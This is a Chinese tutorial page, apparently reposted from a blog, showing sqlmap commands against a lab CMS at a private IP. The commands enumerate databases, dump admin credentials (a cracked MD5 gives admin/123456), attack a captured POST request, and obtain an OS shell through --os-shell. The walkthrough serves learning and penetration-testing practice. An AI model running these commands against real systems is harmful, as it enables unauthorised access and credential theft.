我的编程空间,编程开发者的网络收藏夹
学习永远不晚

SQLmap使用

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

SQLmap使用

利用sqlmap 注入得到cms网站后台管理员账密

获取数据库名称

在kali中输入sqlmap命令,打开sqlmap,然后输入下面命令:

sqlmap -u http://10.9.75.33/cms/show.php?id=33 --dbs --batch

结果如下:

在这里插入图片描述

获取cms数据库的表名

输入下面命令:

sqlmap -u http://10.9.75.33/cms/show.php?id=33 --dbs -D “cms” --tables --batch

结果如下:

得到cms中的所有表名

在这里插入图片描述

获取users表中的字段(内容)

输入下面命令:

sqlmap -u http://10.9.75.33/cms/show.php?id=33 -D “cms” -T “cms_users” --columns --batch

结果如下,users表中有三个字段:

在这里插入图片描述

获取username字段和password字段的内容

即获取账号密码,输入下面命令:

sqlmap -u http://10.9.75.33/cms/show.php?id=33 -D "cms" -T "cms_users" -C "username,password" --dump

在弹出的两次交互信息中输入n,得到账号和md5密码密文:

在这里插入图片描述

口算md5密文(其实是用工具解密),得到用户名和密码:

admin

123456

salmap破解psot请求数据包

在后台网页用火狐代理、bp抓包,在http history中查看抓到的数据包,将抓到的post请求包复制

在这里插入图片描述

输入下面命令,在tmp目录下新建一个txt文件并用vim编辑器编辑,将post数据包的内容放入txt文件中:

touch /tmp/post.txt
vim /tmp/post.txt

在这里插入图片描述

命令模式下保存退出

输入下面命令破解post请求包:

salmap -r /tmp/post.txt

在交互式命令时回车,是否追踪302输入no:

在这里插入图片描述

耐心等待完成,显示了两种注入方法,报错注入和布尔盲注:

在这里插入图片描述

爆破密码:

sqlmap -r /tmp/post.txt -D "cms" -T "cms_users" -C "username,password" --dump

爆破成功:

在这里插入图片描述

salmap获取getshell

在kali控制台输入下面命令:

sqlmap -u "http://10.9.75.33/cms/show.php?id=33" --os-shell

选择语言:
在这里插入图片描述

选择路径,2是自选路径,选择2:

在这里插入图片描述

路径填:

c:/phpstudy/www/

获取成功:

在这里插入图片描述

来源地址:https://blog.csdn.net/m0_56578216/article/details/132484191

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

SQLmap使用

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

SQLmap使用

文章目录 利用sqlmap 注入得到cms网站后台管理员账密获取数据库名称获取cms数据库的表名获取users表中的字段(内容)获取username字段和password字段的内容 salmap破解psot请求数据包salmap
2023-08-30

sqlmap之os shell怎么使用

这篇文章主要介绍“sqlmap之os shell怎么使用”,在日常操作中,相信很多人在sqlmap之os shell怎么使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”sqlmap之os shell怎么使用
2023-07-05

linux安装sqlmap

下载安装包:sqlmapproject-sqlmap-1.4.8-3-g4077a35.tar.gzhttps://github.com/sqlmapproject/sqlmap/tarball/master解压并测试tar zxvf sqlmapprojec
linux安装sqlmap
2018-06-01

sqlmap中的--sql-shell

文章目录 命令文件路径查看版本读写文件常见的找绝对路径方法:查看php是否开启魔术引导 udf下一步使用sqlmap --os-shell参考 命令 sqlmap -u --sql-shell 之后就和sql中的命令一样 文
2023-08-17

python3中SQLMap如何安装

本篇内容介绍了“python3中SQLMap如何安装”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!注意:在python3环境下安装sqlma
2023-07-05

安装sqlmap+python正确姿势

简单说一下,SQLMap是利用Python语言写的,所以需要将Python这个语言环境给安装上。具体SQLMap的功能就不在这里介绍了,只介绍安装过程;工具/原料Win7或者win8系统Python2.7.9SQLMap方法/步骤1首先百度
2023-01-31

如何编写SQLMap的Tamper脚本

本篇内容介绍了“如何编写SQLMap的Tamper脚本”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!测试环境最新版某狗测试方法安全狗其实是比
2023-07-05

sqlmap之os shell图文详细解析

目录0x00 Background0x01 Environment[0x02 Attack demo(1)环境测试(2)攻击(3)选择语言(4)输入绝对路径(5)建立os-shell并执行命令0x03 Analysis(1)抓包(2)第一个
2023-03-02

SQL注入之sqlmap入门学习

目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名javascript称
2023-05-12

教你编写SQLMap的Tamper脚本过狗

目录测试环境最新版某狗测试方法bypassandorder byunion select加个换行试试获取表字段编写tamper测试环境最新版某狗测试方法安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆一招鲜吃遍
2023-02-24

编程热搜

目录